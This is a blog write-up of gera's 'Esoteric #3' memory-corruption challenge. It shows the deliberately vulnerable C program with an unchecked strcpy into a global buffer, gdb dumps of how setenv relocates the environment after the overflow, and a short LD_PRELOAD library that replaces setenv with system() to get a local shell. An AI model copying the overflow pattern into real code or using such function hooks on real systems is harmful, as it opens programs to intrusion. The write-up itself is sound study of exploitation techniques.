Wednesday, December 26, 2012

Esoteric #3

gera's Esoteric #3.

/* e3.c                                                      *
 * specially crafted to feed your brain by gera@core-sdi.com */

/* are you an enviromental threat                            */

char buf[256];

int main(int argv,char **argc) {
        strcpy(buf,argc[1]);
        setenv("ABO",argc[2],1);
        while(1);
}

I might of cheated a bit with my solution, but I feel that maybe when this challenge was written that the version (even older than the glibc 2.2.4 I'm using for these examples) of setenv() used was more prone to memory corruption.

When ABO is not initially set, here's what the environ pointer and the area near the end of buf looks like after the strcpy() overflow.

Breakpoint 1, main (argv=3, argc=0xbffff974) at e3.c:10
10              setenv("ABO",argc[2],1);
(gdb) x/x environ
0xbffff984:     0xbffffc76

...
0x8049750 <buf+208>:    0x41414141      0x41414141      0x41414141      0x414141
41
0x8049760 <buf+224>:    0x41414141      0x41414141      0x41414141      0x414141
41
0x8049770 <buf+240>:    0x41414141      0x41414141      0x41414141      0x414141
41
0x8049780:      0x41414141      0x41414141      0x41414141      0x41414141
0x8049790:      0x41414141      0x41414141      0x41414141      0x41414141
0x80497a0:      0x41414141      0x41414141      0x41414141      0x41414141
0x80497b0:      0x41414141      0x41414141      0x41414141      0x41414141
...

environ still points to the stack, and buf has been overflown with As. Here is after setenv().

Breakpoint 2, main (argv=3, argc=0xbffff974) at e3.c:11
11              while(1);
(gdb) x/x environ
0x8049788:      0xbffffc76

...
0x8049740 <buf+192>:    0x41414141      0x41414141      0x41414141      0x414141
41
0x8049750 <buf+208>:    0x41414141      0x41414141      0x41414141      0x414141
41
0x8049760 <buf+224>:    0x41414141      0x41414141      0x41414141      0x414141
41
0x8049770 <buf+240>:    0x41414141      0x41414141      0x41414141      0x414141
41
0x8049780:      0x41414141      0x00000061      0xbffffc76      0xbffffc8b
0x8049790:      0xbffffcaa      0xbffffccc      0xbffffcd8      0xbffffe9b
0x80497a0:      0xbffffeba      0xbffffed6      0xbffffeeb      0xbffffef6
0x80497b0:      0xbfffff05      0xbfffff0d      0xbfffff19      0xbfffff29
0x80497c0:      0xbfffff37      0xbfffff48      0xbfffff56      0xbfffff68
0x80497d0:      0xbfffff73      0xbfffffa6      0x080497e8      0x00000000
0x80497e0:      0x41414141      0x00000011      0x3d4f4241      0x42424242
0x80497f0:      0x41414100      0x00000019      0x080497e8      0x00000000
0x8049800:      0x00000000      0x41414141      0x41414141      0x000007f9
0x8049810:      0x41414141      0x41414141      0x41414141      0x41414141
0x8049820:      0x41414141      0x41414141      0x41414141      0x41414141
0x8049830:      0x41414141      0x41414141      0x41414141      0x41414141
...

The environ pointer now points out to heap land (0x8049788). At this address, the environment has been copied from the stack and placed into some malloc()'d memory. At 0x80497d8, in the env array, is the pointer to the new ABO variable--which also resides in a malloc() chunk.

(gdb) x/s 0x080497e8
0x80497e8:       "ABO=BBBB"

When ABO is already initialized, after the strcpy(), things are the same. But, after the setenv().


(gdb) x/x environ
0xbffff964:     0xbffffc6d
(gdb)
0xbffff968:     0x08049788
(gdb)
0xbffff96c:     0xbffffc8b

The environ pointer still points to stack space. Now just the second entry in the env array points to heap land. It looks like this.

(gdb) x/s 0x08049788
0x8049788:       "ABO=BBBB"

So, setenv() just replaces the original ABO pointer with a pointer to malloc()'d memory.

Near the end of buf it looks like.

...
0x8049760 <buf+224>:    0x41414141      0x41414141      0x41414141      0x414141
41
0x8049770 <buf+240>:    0x41414141      0x41414141      0x41414141      0x414141
41
0x8049780:      0x41414141      0x00000011      0x3d4f4241      0x42424242
0x8049790:      0x41414100      0x00000019      0x08049788      0x00000000
0x80497a0:      0x00000000      0x41414141      0x41414141      0x00000859
0x80497b0:      0x41414141      0x41414141      0x41414141      0x41414141
...

Regardless of how, what, or with what I overflowed buf, I was unable to corrupt the setenv() data structures in my favor.

I got a shell by creating my own setenv() function in a shared object and hooking it in via LD_PRELOAD.

dennis@ipa:~/es3$ cat setenv.c                                               
#include <stdlib.h>

int setenv(const char *name, const char *value, int replace)
{
        system(value);
}

[dennis@localhost es4]$ gcc -shared -o setenv.so setenv.c
[dennis@localhost es3]$ LD_PRELOAD=./setenv.so ./e3 foobar /bin/sh
sh-2.05$ id
uid=500(dennis) gid=500(dennis) groups=500(dennis)
sh-2.05$ pwd
/home/dennis/es3
sh-2.05$ exit
exit

[dennis@localhost es3]$

No comments:

Post a Comment